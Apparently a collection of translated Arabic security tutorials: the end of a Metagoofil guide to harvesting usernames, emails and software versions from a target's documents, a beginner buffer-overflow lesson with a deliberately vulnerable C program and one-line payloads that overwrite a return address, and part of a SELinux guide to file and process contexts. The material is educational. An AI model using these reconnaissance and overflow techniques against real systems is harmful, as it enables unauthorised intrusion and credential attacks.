الخطوة 2: بعد الانتهاء من عملية التنصيب يمكننا استخدام التعليمة التالية لعرض الخيارات المتاحة:

metagoofil

 

51

الخطوة 3: يمكننا تشغيل هذه الأداة باستخدام التعليمة التالية:

metagoofil -d target.com -t pdf,doc,ppt -l 200 -n 5 -o /root/Desktop/metagoofil/ -f /root/Desktop/metagoofil/result.html

-d: لتحديد عنوان الهدف.

-t: لتحديد نوع الملفات المطلوب البحث عنها وتحميلها.

-l: لتحديد عدد الملفات في النتيجة النهائية، القيمة الافتراضية هي 200

-n: لتحديد عدد الملفات التي سيتم تحميلها.

-o: لتحديد المسار المراد تحميل الملفات إليه.

-f: لتحديد اسم ومكان التقرير النهائي.

الخطوة 4: لنقم بتجربة هذه الأداة على موقع www.owasp.org

باستخدام التعليمة التالية:

metagoofil -d owasp.org -t pdf,doc,ppt -l 200 -n 5 -o /root/Desktop/metagoofil/ -f /root/Desktop/metagoofil/result.html

كما يظهر في الشكل التالي فإن هذه الأداة وجدت 115 ملف من نوع PDF وقامت بتحميل خمسة ملفات فقط لأننا قمنا بتحديد عدد الملفات المراد تحميلها لتكون خمسة ملفات فقط.

52

 

53
54

الخطوة 5: رؤية الملفات المحملة ضمن المسار التالي:

~/metagoofil

55

الخطوة 6: فتح الملف result.html الذي يحوي على المعلومات التي تم استخراجها من الموقع الهدف.

هذه المعلومات تحوي على:

  • أسماء المستخدمين.
  • إصدارات البرامج.
  • عناوين البريد الالكتروني.
  • مسار الملفات.
  • نتائج تحليل الملفات.

 

56
57

يمكننا فتح الملف result.html باستخدام الأداة w3m والتي تعمل من خلال سطر الأوامر (عبارة عن متصفح يعمل من خلال سطر الأوامر خاص بنظام التشغيل لينكس) هذه الأداة غير موجودة في الكالي بشكل تلقائي ويمكننا الحصول عليها باستخدام التعليمة التالية:

apt-get install w3m

وبعد انتهاء عملية التنصيب يمكننا عرض محتوى التقرير باستخدام التعليمة التالية:

w3m /root/Deskto/metagoofil/result.html

 

58

 

59

 

60

من خلال النتائج السابقة يمكننا الحصول على الكثير من المعلومات المهمة مثل أسماء المستخدمين ويمكن الاستفادة منها في هجمات القوة الغاشمة brute force للتخمين على كلمات السر بالإضافة إلى معلومات عن إصدارات البرامج وهذا يسمح لنا بالبحث عن الثغرات الموجودة في هذه الإصدارات بالإضافة إلى معلومات عن المسارات في السيرفر الهدف.

الخلاصة:


بالرغم من أن Magic Tree and Dradis تقومان بتنفيذ مجموعة من المهام المتشابه ولكل منها إيجابيات وسلبيات، يمكننا الاختيار بين هاتين الاداتين بحسب الحالة المطلوبة.

بالمقابل فإن Metagoofil تعتبر أداة قوية جداً لاستخراج المعلومات الذاتية metadata من الوثائق والمستندات المتاحة في الموقع الهدف كما يمكنها القيام بتوليد تقرير يحوي على معلومات مهمة جداً مثل أسماء المستخدمين ومسارات الملفات وإصدارات البرامج وعناوين البريد الالكتروني ومعلومات أخرى والتي يمكن استخدامها في مراحل مختلفة من عملية اختبار الاختراق.

ترجمة لمقال : Kali Reporting Tools لصاحبها Satyam Singh .

مقال : مثال عملي على ثغرات Buffer Overflow

$
0
0

يوجد العديد من المصادر على الأنترنت التي تهتم وتركز على استغلال الملفات الثنائية binary files من خلال ثغرات buffer overflow ولكنها تحوي على أداوت قديمة (إصدارات قديمة من gcc او linux) وهذا يجعل عملية تشغيل البرنامج المصاب بثغرة Buffer overflow أمر صعب وبحاجة لمتطلبات متعددة.

هذا المقال هو للأشخاص المبتدئين والجدد في مجال binary exploitation .

هذا المقال سيناقش الأمور الأساسية وسوف نقوم بعملية استغلال ثغرة buffer overflow من خلال طفح المكدس smashing the stack وتعديل  return address الخاص بالدالة.

وهذا سيتم من خلال استدعاء بعض الدوال الأخرى.

المتطلبات:


  • أفترض أنك على معرفة بأساسيات لغة البرمجة C
  • وأنك على معرفة ب gcc (مجمع compiler) وتعليمات نظام لينكس.
  • وأنك على معرفة بأساسيات x68 assembly language

البرامج في هذا المقال تمت كتابتها في نظام تشغيل لينكس وتم تحويلها لملفات تنفيذية باستخدام gcc

البرنامج الذي يحوي على الثغرة:

#include <stdio.h>

void secretFunction()

{

printf(“Congratulations!\n”);

printf(“You have entered in the secret function!\n”);

}

void echo()

{

char buffer[20];

printf(“Enter some text:\n”);

scanf(“%s”, buffer);

printf(“You entered: %s\n”, buffer);

}

int main()

{

echo();

return 0;

}

هذا البرنامج يبدو على أنه برنامج سليم وآمن بالنسبة لمبرمج عادي ولكن في الحقيقة يمكننا استدعاء الداله secretFunction من خلال تعديل input  ويوجد طرق أفضل إذا كان الملف الثنائي محلي بحيث يمكننا استخدام gdb لتعديل %eip ولكن في الحالة التي يعمل فيها الملف الثنائي كخدمة على بعض الأجهزة الأخرى يمكننا استدعاء دوال أخرى أو تنفيذ كود مخصص لتعديل input.

Memory Layout of a C program:


لنبدأ بفحص تصميم الذاكرة  لبرنامج مكتوب بلغة C وبشكل خاص المكدس stack فهو يعمل خلال استدعاء التوابع وخلال إعادة نتيجة تنفيذ التوابع ويمكنه التعديل على المسجلات esp , ebp في الجهاز.
stack

1-  Command line arguments and environment variables:  وهي عباره عن بارامترات سطر الأوامر ومتغيرات البيئة, يتم تمرير البارامترات إلى البرنامج قبل تشغيل البرنامج ومتغيرات البيئة يتم تخزينها في هذا الجزء.

2- المكدس stack: هو المكان الذي توجد فيه كل بارامترات الدوال والعناوين المعادة والمتغيرات المحلية للتوابع, ويعمل بطريقة LIFO – Last Input First Output أول قيمة يتم إدخالها هي أخر قيمة يتم إخراجها. وهو يتمدد  باتجاه الأسفل  في الذاكرة في حاله تم ادخال بيانات اليه  (من أعلى عنوان إلى أدنى عنوان)

3- heap: كل الذاكرة التي يتم تخصيصها بشكل اتوماتيكي تتبقى هنا حتى ولو استخدمنا دالة malloc من أجل الحصول على ذاكرة بشكل متغير فسيتم تخصيصها من heap وهو يتمدد باتجاه الأعلى في الذاكرة (من أدنى عنوان إلى أعلى عنوان)

4- Uninitialized data (Bss Segment): كل البيانات الغير مخصصة يتم تخزينها هنا ويحتوي على المتغيرات العامة والثابتة الغير مخصصة من قبل المبرمج. النواة تخصص القيمة 0 لها بشكل افتراضي.

5- initialized data (Data Segment): كل البيانات المخصصة يتم تخزينها هنا, وهو يحوي على المتغيرات العامة والثابتة التي تم تهيئتها من قبل المبرمج.

6- text: هذا الجزء يحوي على الكود التنفيذي الذي يتم حفظه. loader يقوم بتحميل التعليمات من هنا ويقوم بتنفيذها وعادةً ما يكون معد للقراءة فقط.

بعض المسجلات الشائعة:


1- %eip: The Instruction pointer register يقوم بحفظ عنوان التعليمة التالية ليتم تنفيذها وبعد تنفيذ كل تعليمة يتم زيادة هذه القيمة بحسب حجم التعليمة.

2- %esp: The Stack pointer register يقوم بحفظ عنوان أعلى قيمة بالمكدس top of the stack وهذه العنوان هو لأخر عنصر تم إضافته للمكدس.

3- %ebp: The Base pointer register هذا المسجل يقوم بضبط %esp لبداية الدالة وهذا يتم من أجل المحافظة على علامات التبويب الخاصة ببارامترات الدالة والمتغيرات المحلية local variables

يتم الوصول إلى المتغيرات المحلية من خلال طرح قيمة offsets من %ebp وبارامترات الدالة يمكن الوصول إليها من خلال إضافة قيمة offsets إلى %ebp

إدارة الذاكرة خلال استدعاء التوابع:


لنفترض أن لدينا الكود التالي:

void func(int a, int b)

{

int c;

int d;

// some code

}

void main()

{

func(1, 2);

// next instruction

}

لنفترض أن %eip يشير إلى الدالة func الذي تم استدعائها من قبل الدالة الرئيسية main

سيتم اتباع الخطوات التالية:

1- إذا كانت الدالة المستدعى موجود، سيتم إدخال برامتراته إلى المكدس من اليمين إلى اليسار (بترتيب عكسي) سيتم إدخال القيمة 2 قبل القيمة 1

2- يجب أن نعرف العنوان الذي سيتم إعادة نتيجة تنفيذ الدالة func إليه، من أجل إدخال هذا العنوان إلى التعلمية التالية في المكدس.

3- إيجاد عنوان الدالة  واسناد هذا العنوان إلى المؤشر %eip ويتم انتقال التحكم إلى الدالة

4- عندما نكون في الدالة func نحتاج لتحديث قيمة %ebp وقبل التحديث يجب أن نحفظها في المكدس لنتمكن من استعادتها لاحقاً في الدالة الرئيسي main لذلك يتم إدخال %ebp إلى المكدس.

5- ضبط %ebp لتساوي esp % حيث أن ebp % يشير الآن إلى مؤشر المكدس الحالي.

6- إدخال المتغيرات المحلية إلى المكدس وحجز مسافات لها في المكدس وفي هذه الخطوة سوف يتغير %esp

7- بعد انتهاء الدالة func  يجب أن نقوم بإعادة ضبط المكدس السابق لذلك نقوم بضبط %esp ليعود ويأخذ قيمة %ebp ومن ثم نقوم بسحب قيمة %ebp السابقة من المكدس وإعادة حفظها في %ebp

لذلك سوف يعود مؤشر المسجل الرئيسي ليؤشر إلى مكانه في الدالة الرئيسي main

8- معرفة return address من المكدس وإسناده إلى %eip وعندها سوف يعود التحكم إلى الدالة الرئيسي main وذلك بعد استدعاء الدالة func

الشكل التالي يظهر المكدس خلال استدعاء الدالة func :

يي

ثغرة Buffer overflow:


هذه الثغرة تحدث في المستوى المنخفض من الكود في لغة C and C++, المهاجم يستطيع جعل البرنامج ينهار وقادر على تخريب البيانات وسرقت بعض المعلومات الحساسة أو يمكنه أيضاً أن يقوم بتشغيل كوده الخاص. وهذا يعني أنه قادر على الوصول إلى الـ buffer خارج المساحة الذاكرية المخصصة. هذا يحدث عادةً في الحالات التي تحوي على مصفوفات arrays.

المتغيرات يتم حفظها في stack/heap

الوصول إلى أي العناوين الغير مقيدة يسمح بالقراءة أو الكتابة من البايتات الخاصة بالمتغيرات الأخرى. عادةً ينهار البرنامج ولكن يمكننا استخدام بعض المهارات البرمجية للقيام بالهجمات السابقة. يجب أن نقوم بتعديل العنوان المعاد ومحاولة تنفيذ هذا العنوان.

لنقم بعملية compile للكود الخاص بالبرنامج المصاب بهذه الثغرة.

يمكننا القيام بهذه العملية باستخدام gcc وهو عبارة عن compiler وموجود بشكل تلقائي في الكالي

For 32 bit systems

gcc vuln.c -o vuln -fno-stack-protector

For 64 bit systems

gcc vuln.c -o vuln -fno-stack-protector -m32

11

-fno-stack-protector: تقوم بتعطيل حماية المكدس (تحطيم المكدس مسموح به الان)

-m32: للتأكد أن عملية التجميع الثنائي compiled binary ستتم لأنظمة 32 bit

يمكننا الآن تشغيل هذا البرنامج باستخدام التعليمة التالية:

1121

Enter some text:

HackIt!

You entered: HackIt!

لنبدأ بعملية الاستغلال للملف الثنائي، في البداية يجب أن نقوم بعملية تفكيك disassembly لهذا الملف باستخدام objdump

objdump -d vuln

objdump -d vuln

هذه التعليمة سوف تقوم بتفكيك كامل الملف، سوف نركز فقط على الأجزاء المهمة لنا،

هذه الناتج يمكن أن تختلف لديك.

الاستنتاجات:


عنوان secretFunction هو 080489d وهو مكتوب بشكل سته عشري hex

0804849d <secretFunction>:

سيتم حجز 38 بايت في حاله hex او 56 في حاله decimal للمتغيرات المحلية في الدالة echo

80484c0: 83 ec 38 sub $0x38,%esp

العنوان الخاص  بالفر يبدأ من 1c في حاله hex او 28 في حاله decimal  قبل %ebp  وهذا يعني أن 28 bytes محجوز كبفر حتى لو طلبنا 20 bytes

80484cf: 8d 45 e4 lea -0x1c(%ebp),%eax

تصميم payload:


الان نحن نعرف أنه قد تم حجز 28 bytes مساحة buffer.

4 bytes التالية سيتم حفظها في %ebp وال 4 bytes التي تليها ايضا سوف تحفظ return address  (العنوان الذي سيقفز له المؤشر %eip بعد الانتهاء من الداله ) في البداية: 28 + 4 = 32 bytes ويمكن أن تكون أي أحرف عشوائية والبايتات الأربعة التالية ستكون عنوان الدالة secretFunction.

تنبيه: المسجلات registers تكون عبارة عن 4 bytes أو عبارة عن 32 bits كأرقام ثنائية يتم تجميعها لأنظمة 32 bit

عنوان الدالة secretFunction هو 0804849d بنظام hex , الان وبالاعتماد على جهازنا فيما إذا كان little-endian or big-endian يجب أن نقرر النمط المناسب للعنوان. إذا كان الجهاز little-endian فسوف نحتاج أن نضع البايتات بترتيب عكسي كالعنوان التالي:

9d 84 04 08

السكريبتات التالية تقوم بتوليد payloads في الترمنال ، يمكنك استخدام اللغة المفضلة لديك.

ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘

python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘

perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘

php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’

ملاحظة: قمنا بكتابة \x9d لأن 9d ممثلة بنظام العد السداسي عشري.

يمكننا نقل payload بشكل مباشر إلى الملف الثنائي vuln

ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln

python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln

perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘ | ./vuln

php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’ | ./vuln

وهذه هي النتيجة التي سنحصل عليها:

Enter some text:

You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<rubbish 3 bytes>

Congratulations!

You have entered in the secret function!

Illegal instruction (core dumped)

تمكنا من استغلال الثغرة والحصول على العنوان المعاد وتم استدعاء الدالة secretFunction

توابع لغة C المصابة بثغرة Buffer Overflow:

  • gets
  • scanf
  • sprintf
  • strcpy

في كل مرة تستخدم فيها buffers يجب أن تنتبه  حجمه  ليتم التعامل معه بشكل مناسب.

ترجمة بتصرف لمقال : Buffer Overflow Exploit لصاحبها Dhaval Kapil

مقال : SELinux الجزء الثاني –الملفات والعمليات

$
0
0

في الجزء الأول من سلسلة SELinux تعرفنا على كيفية تفعيل وإلغاء تفعيل SELinux وتغير بعض الإعدادات الخاصة بالسياسة باستخدام القيم المنطقية Boolean values. في هذا المقال سوف نتعرف على  security contexts الخاصة بالملفات والعمليات.

للتذكير فقط بالجزء الأول:

File security context: هو النوع type

Process security context: هو المجال domain

ملاحظة: كل التعليمات وحزم البيانات والملفات التي سوف نتعامل معها في هذا المقال تم تجريبها على نظام التشغيل CentOS 7 بشكل كامل فإن المبادئ تبقى نفسها في التوزيعات الأخرى.

في هذا المقال سنقوم بتشغيل التعليمات بصلاحيات root إذا لم تكن تستطيع العمل على حساب بصلاحيات root يمكنك استخدام حساب له صلاحيات sudo privileges واستخدام “sudo” قبل أي تعليمة.

 

إنشاء حسابات تجريبية


في البداية سنقوم بخلق أربعة حسابات تجريبية لنتمكن من إثبات وعرض إمكانيات SELinux:

  • regularuser
  • switcheduser
  • guestuser
  • restricteduser

يجب أن نملك صلاحيات root، لنبدأ باستخدام التعليمة التالية لإضافة حساب مستخدم باسم regularuser

useradd -c “Regular User” regularuser

ومن ثم يمكننا استخدام التعليمة “passwd” لضبط كلمة السر لهذا الحساب

passwd regularuser

سيتطلب مننا إدخال كلمة السر الجديدة وتأكيدها ومن ثم سيكون الحساب جاهز للاستخدام

Changing password for user regularuser.

New password:

Retype new password:

passwd: all authentication tokens updated successfully.

وبنفس الطريقة لنقوم بخلق حسابات لباقي المستخدمين

useradd -c “Switched User” switcheduser

passwd switcheduser

useradd -c “Guest User” guestuser

passwd guestuser

 

useradd -c “Restricted Role User” restricteduser

passwd restricteduser

 

SELinux من أجل الملفات والعمليات


الهدف من استخدام SELinux هو حماية عملية الوصول إلى الملفات في نظام لينكس. بدون SELinux فإن العملية أو التطبيق مثل سيرفر الأباتشي Apache سوف يعمل بحالة المستخدم الذي قام بتشغيله.

وإذا تم الوصول إلى النظام من قبل تطبيق خبيث يعمل بصلاحيات root فإن التطبيق قادر على عمل أي شيء يريده لأنه يملك صلاحيات root وله كامل الحقوق والصلاحيات على كل الملفات.

SELinux تحاول التقدم خطوة للأمام لتجاوز هذه المخاطر، عند تطبيق SELinux فإن العمليات processes والتطبيقات application لها الحقوق والصلاحيات التي تحتاجها لتعمل ولا شيء غير ذلك.

سياسة SELinux الخاصة بالتطبيقات سوف تحدد ما هي أنواع الملفات التي تحتاج الوصول إليها وماهي العمليات المسموح لها تنفيذها. سياسات SELinux يتم كتابتها من قبل مطور التطبيق وتنتقل إلى توزيعه لينكس التي تدعمها، السياسة هي مجموعة من القواعد التي تحدد للعمليات والمستخدمين الحقوق والصلاحيات الخاصة بهم.

نبدأ هذا المقال بفهم ماهي SELinux contexts and domains

أول جزء من الحماية يتم من خلال تخصيص وسم label لكل شيء موجود في نظام لينكس. الوسم label هو مثل أي صفة أخرى للملف أو للعملية (المالك، المجموعة، تاريخ الإنشاء) , وهي تظهر حالة context الخاصة بالمصادر .

ماهي الحالة context ؟؟؟

هي مجموعة من معلومات الحماية التي تساعد SELinux في اتخاذ قرارات التحكم بالوصول.

كل شيء في نظام لينكس يمكن أن يملك security context (حساب المستخدم، الملف، المجلد، المنفذ) ولكن security context تختلف باختلاف أنواع الأشياء التي تتعامل معها.

 

SELinux File Contexts


لنتمكن من فهم SELinux file contexts سنبدأ برؤية نتيجة تنفيذ التعليمة  ls –l في المجلد etc/

ls -l /etc/*.conf

 

نتيجة تنفيذ هذه التعليمة سيكون مشابه للتالي:

... 
-rw-r--r--. 1 root root 19 Aug 19 21:42 /etc/locale.conf
-rw-r--r--. 1 root root 662 Jul 31 2013 /etc/logrotate.conf
-rw-r--r--. 1 root root 5171 Jun 10 07:35 /etc/man_db.conf
-rw-r--r--. 1 root root 936 Jun 10 05:59 /etc/mke2fs.conf
...

لنقم بإضافة Z- للتعليمة السابقة

ls -Z /etc/*.conf

سوف نحصل على عمود إضافي بعد المستخدم والمجموعة والمالك


-rw-r–r–. root root system_u:object_r:locale_t:s0 /etc/locale.conf
-rw-r–r–. root root system_u:object_r:etc_t:s0 /etc/logrotate.conf
-rw-r–r–. root root system_u:object_r:etc_t:s0 /etc/man_db.conf
-rw-r–r–. root root system_u:object_r:etc_t:s0 /etc/mke2fs.conf

هذا العمود يظهر security contexts لهذه الملفات.

يمكننا أن نقول عن ملف أنه يملك وسم label خاص ب security context عندما يملك الملف هذه المعلومات.

-rw-r–r–. root    root  system_u:object_r:etc_t:s0       /etc/logrotate.conf

 

Security contexts هي هذه المعلومات:

system_u:object_r:etc_t:s0

يوجد أربع أجزاء منفصلة باستخدام النقطتين ” : ” وكل جزء هو security context :

  • الجزء الأول: هو SELinux user context الخاص بالملف (سيتم مناقشته لاحقاً ولكن الآن هو system_u).

كل حساب لمستخدم في نظام لينكس يتم اعتباره على انه مستخدم SELinux وفي هذا المثال فإن المستخدم root مالك هذا الملف تم اعتباره على أنه المستخدم system_u SELinux user.

هذه العملية تتم من وفق السياسة الخاصة ب SELinux.

  • الجزء الثاني: هو SELinux role (الأدوار) وفي هذا المثال هو object_r لمعرفة ما هي SELinux roles يمكنك مراجعة الجزء الأول من هذه السلسلة.
  • الجزء الثالث: هو type (النوع) وفي هذا المثال هو etc_t.

وهذا الجزء يعرف ما هو النوع type الذي ينتمي له الملف أو المجلد، كما ترى فإن معظم الملفات الموجودة في المجلد etc/ تنتمي إلى etc_t type.

يمكن أن تعتقد بأن النوع type هو جزء من “group” أو جزء من الوصف الخاص بالملف، النوع type هو طريقة لتصنيف هذا الملف.

يمكننا أن نرى بعض الملفات التي من الممكن أن تنتمي لأنواع أخرى مثل locale.conf الذي له النوع locale_t

حتى ولو كانت كل الملفات تابعة لنفس المستخدم ولنفس المجموعة يمكن أن تنتمي لأنواع types مختلفة.

مثال أخر: لنقم بفحص type context للمجلد home

ls -Z /home

المجلد home يملك type context مختلف userhomedir_t:

drwx——. guestuser guestuser unconfined_u:object_r:user_home_dir_t:s0    guestuser
drwx——. root root system_u:object_r:lost_found_t:s0 lost+found
drwx——. regularuser regularuser unconfined_u:object_r:user_home_dir_t:s0    regularuser
drwx——. restricteduser restricteduser unconfined_u:object_r:user_home_dir_t:s0    restricteduser
drwx——. switcheduser switcheduser unconfined_u:object_r:user_home_dir_t:s0    switcheduser
drwx——. sysadmin sysadmin unconfined_u:object_r:user_home_dir_t:s0 sysadminunconfined_u:object_r:user_home_dir_t:s0         sysadmin

 

  • الجزء الرابع: هو security context وفي هذا المثال هو s0 وهو يعمل مع MLS – multilevel security وهو طريقة أخرى من أجل تطبيق سياسة الحماية الخاصة ب SELinux وهذا الجزء يعرض حساسية sensitivity المصادر (s0) سوف نتحدث عن الحساسية sensitivity وعن التصنيف categories لاحقاً. أول ثلاث أجزاء هي المهمة من أجل إعداد SELinux.

SELinux Process Contexts


يمكننا تشغيل خدمة  الأباتشي وخدمة SFTP (قمنا بتنصيبها في الجزء الأول من هذه السلسلة) باستخدام التعليمات التالية:

service httpd start

service vsftpd start

يمكننا استخدام التعليمة “ps” مع بعض الإضافات لرؤية العمليات الخاصة بكل من Apache and SFTP على السيرفر

ps -efZ | grep ‘httpd\|vsftpd’

Z-   يستخدم لعرض SELinux contexts. نتيجة تنفيذ هذه التعليمة سوف تعرض العمليات الجارية ورقم العملية ورقم العملية الأب لكل عملية:

system_u:system_r:httpd_t:s0            root        7126    1       0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0            apache      7127    7126    0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0            apache      7128    7126    0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0            apache      7129    7126    0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0            apache      7130    7126    0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:httpd_t:s0            apache      7131    7126    0 16:50 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
system_u:system_r:ftpd_t:s0-s0:c0.c1023 root        7209    1       0 16:54 ?        00:00:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 7252 2636  0 16:57 pts/0 00:00:00 grep --color=auto httpd\|vsftpd

security context هو:

system_u:system_r:httpd_t:s0

وهو مكون من أربع أجزاء:

  • User
  • Role
  • Doming
  • Sensitivity

User , role and sensitivity هي نفسها لكل الملفات ولكن domain يختلف بين العمليات.

في المثال السابق يمكننا رؤية بعض العمليات التي تعمل ضمن httpd_t domain وعملية أخرى تعمل ضمن ftpd_t domain

ماذا يفعل المجال domain للعمليات ؟؟؟

إنه يقوم بإعطاء العملية حالة context لتعمل بها، كفقاعة حول العملية (حدود للعملية). وهو الذي يخبر العملية ما الأمور التي تستطيع القيام بها والأمور التي ممنوع القيام بها. ومن خلال هذا التقييد يتم التأكيد على أن كل مجال process domain يستطيع التعامل مع أنواع محددة من الملفات ولا شيء أكثر من ذلك. باستخدام هذه الطريقة حتى ولو تم سرقة العملية من قبل عملية أخرى أو من قبل مستخدم شرير فإن أسواء الاحتمالات هو تخريب الملفات التي يمكن الوصول إليها فقط من قبل هذه العملية.

مثلاً: العملية vsftp لا تملك وصول إلى الملفات المستخدمة من قبل sendmail or samba هذا التقييد يتم على مستوى النواة kernel level وهو يطبق بالقوة من قبل سياسة SELinux التي يتم تحميلها إلى الذاكرة وبالتالي فإن التحكم بالوصول أصبح أمر إلزامي.

 

التسميات


SELinux تستخدم اللاحقات التالية:

u: للإشارة إلى المستخدمين users

r: للإشارة إلى القواعد roles

t: للإشارة إلى الأنواع types للملفات وللإشارة إلى المجالات domains للعمليات.

 

كيف تصل العمليات إلى المصادر


تعرفنا على الملفات والعمليات و الحالات contexts التي تقوم بتحديد الأنواع types والمجالات domains المملوكة من قبل الملفات والعمليات.

كيف تعمل العملية ؟؟؟

العملية تحتاج للوصول إلى الملفات للقيام ببعض المهام (فتح ملف والقراءة منه أو التعديل عليه أو تنفيذ ملف) كل عملية يمكنها الوصول فقط إلى أنواع محددة من المصادر (ملفات ومجلدات ومنافذ وأمور أخرى). SELinux تحدد هذا الوصول من خلال السياسة الخاصة بها.

قواعد الوصول يمكن تعريفها باستخدام التعليمة التالية:

allow <domain> <type>:<class> { <permissions> };

تحدثنا مسبقاً عن الأنواع types والمجالات domains

سنتعرف على class والذي يعرف ماهي المصادر المسموح بالوصول لها (ملفات، مجلدات، أجهزة، منافذ)

التعليمة السابقة يمكن شرحها كالتالي:

  • إذا كانت العملية ضمن مجال domain معين.
  • وإذا كانت المصادر التي تحاول الوصول إليها موجودة ضمن class and type معين.
  • اسمح لها بالوصول.
  • وإلا امنعها من الوصول.

لنرى كيف تعمل هذه التقنية، لنفترض أن الحالات contexts الخاصة بعملية httpd التي تعمل على نظام التشغيل CentOS 7 هي:

system_u:system_r:httpd_t:s0 7126 ? 00:00:00 httpd
system_u:system_r:httpd_t:s0 7127 ? 00:00:00 httpd
system_u:system_r:httpd_t:s0 7128 ? 00:00:00 httpd
system_u:system_r:httpd_t:s0 7129 ? 00:00:00 httpd
system_u:system_r:httpd_t:s0 7130 ? 00:00:00 httpd
system_u:system_r:httpd_t:s0 7131 ? 00:00:00 httpd

المسار الافتراضي لسيرفر الويب هو var/www/html/ .لنقم بخلق ملف ضمن هذا المسار ومن ثم نفحص الحالة context الخاص به.

 

touch /var/www/html/index.html

ls -Z /var/www/html/*

File context لمحتوى الويب ستكون httpdsyscontent_t  :

-rw-r–r–. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.html

يمكننا استخدام تعلمية sesearch لعرض الأنواع types المسموح الوصول إليها من قبل العملية httpd:

sesearch –allow –source httpd_t –target httpd_sys_content_t –class file

source domain: هو httpd_t وهو المجال domain الخاص بالأباتشي. إهتمامنا سيكون حول المصادر الهدف target resources وهي الملفات التي تملك  httpdsyscontent_t : type context.

نتيجة تنفيذ التعليمة السابقة ستكون كالتالي:

Found 4 semantic av rules:
allow httpd_t httpd_sys_content_t : file { ioctl read getattr lock open } ;
allow httpd_t httpd_content_type : file { ioctl read getattr lock open } ;
allow httpd_t httpd_content_type : file { ioctl read getattr lock open } ;
allow httpd_t httpdcontent : file { ioctl read write create getattr setattr lock append unlink link rename execute open } ;

 

السطر الأول:

allow httpd_t httpd_sys_content_t : file { ioctl read getattr lock open } ;

 

يعني أن httpd (سيرفر الأباتشي) يستطيع التحكم بالدخل والخرج I/O control ويستطيع القراءة والحصول على الوصف get attribute وقفل وفتح الملفات ضمن النوع httpdsyscontent type. في هذا المثال فإن الملف index.html موجود ضمن نفس هذا النوع. لنقم بتعديل الصفحة السابقة الموجودة في المسار التالي: /var/www/html/index.html/

لتحوي على التالي:

<html>
<title>
This is a test web page
</title>
<body>
<h1>This is a test web page</h1>
</body>
</html>

ومن ثم لنقم بتغيير الصلاحيات للمجلد /var/www/ ومحتوياته

chmod -R 755 /var/www

 

ومن ثم لنقم بإعادة تشغيل سيرفر الأباتشي

service httpd restart

 

لنقم الآن بطلب هذا الملف من المتصفح:

1

يمكننا الوصول لهذا الملف وهذا يعني أن httpd مسموح لها الوصول لهذا النوع من الملفات. نقم بعملية تغيير بسيطة من خلال تعديل الحالة context لهذا الملف. سوف نستخدم التعليمة chcon مع إضافة –type وهذا يسمح لنا بتحديد النوع الجديد للمصادر الهدف

chcon –type var_t /var/www/html/index.html

 

قمنا بتغيير نوع الملف إلى var_t . يمكننا التأكد من ذلك باستخدام التعليمة التالية:

ls -Z /var/www/html/

 

نتيجة تنفيذ هذه التعليمة:

-rwxr-xr-x. root root unconfined_u:object_r:var_t:s0   index.html

 

لنقم الآن بمحاولة الوصول لنفس الصفحة السابقة (httpd يحاول قراءة هذا الملف)

سوف نحصل على رسالة الخطأ forbidden

2

ماذا حدث هنا ؟؟؟؟

تم منع عملية الوصول لهذا الملف. سيرفر الويب مسموح له الوصول فقط إلى أنواع محددة من الملفات والنوع vart ليس من ضمن هذه الأنواع. عندما قمنا تغير الحالة context للملف index.html لتصبح vart فإن سيرفر الأباتشي لم يستطع قراءة هذا الملف وحصلنا على رسالة الخطأ السابقة. للسماح بقراءة الملف سنقوم بتغيير نوع الملف باستخدام التعليمة restorcon مع الخيار –v الذي يظهر التغير الذي تم على context labels.

restorecon -v /var/www/html/index.html

restorecon reset /var/www/html/index.html context unconfined_u:object_r:var_t:s0->unconfined_u:object_r:httpd_sys_content_t:s0

الآن وإذا قمنا بطلب الصفحة السابقة فسوف يتم فتحها ولن نحصل على رسالة الخطأ. الأمر المهم الذي يجب عليك فهمه هو التأكد من أن المجلدات تملك context الصحيح.

 

وراثة الحالة context للمجلدات والملفات


بغض النظر عن السياسة المطبقة يمكننا خلق ملفات أو عمليات جديدة لها نفس الحالة context الخاصة بالعملية الأب أو المجلد الأصل.

(وراثة الحالة context inheritance)

إذا كان لدينا عملية لها الاسم “proca” وقامت بتوليد عملية أخرى لها الاسم “procb” فإن العملية الجديدة سوف تعمل ضمن نفس المجال domain والذي له الاسم proc_a بغض النظر عن السياسة المطبقة من قبل SELinux.

وبشكل مشابه إذا كان لدينا مجلد له النوع type: somecontext وقمنا بخلق ملف ضمن هذا المجلد فإن هذا الملف سوف يكون له نفس النوع بغض النظر عن السياسة المطبقة من قبل SELinux. لنقم بعرض الحالات contexts الخاصة بالمجلد /var/www/

ls -Z /var/www

 

المجلد html الموجود ضمن المجلد /var/www/ له  type context: httpdsyscontent_t . وكما رأينا سابقاً فإن الملف index.html (الموجود في هذا المجلد) له نفس النوع أيضاً:

drwxr-xr-x. root root system_u:object_r:httpd_sys_script_exec_t:s0 cgi-bin
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 html

 

هذه الوراثة لا تتم عندما نقوم بنسخ ملفات من مكان لآخر. في عملية النسخ سيتم تحديد نوع الملف بحسب نوع المجلد الهدف (مكان اللصق). لنقم بنسخ الملف index.html والذي له type context: httpdsyscontent_t. إلى المجلد /var/

cp /var/www/html/index.html /var/

 

إذا قمنا بعرض الحالة الخاصة بملف في المكان الجيد فسوف تكون vsr_t :

 

ls -Z /var/index.html
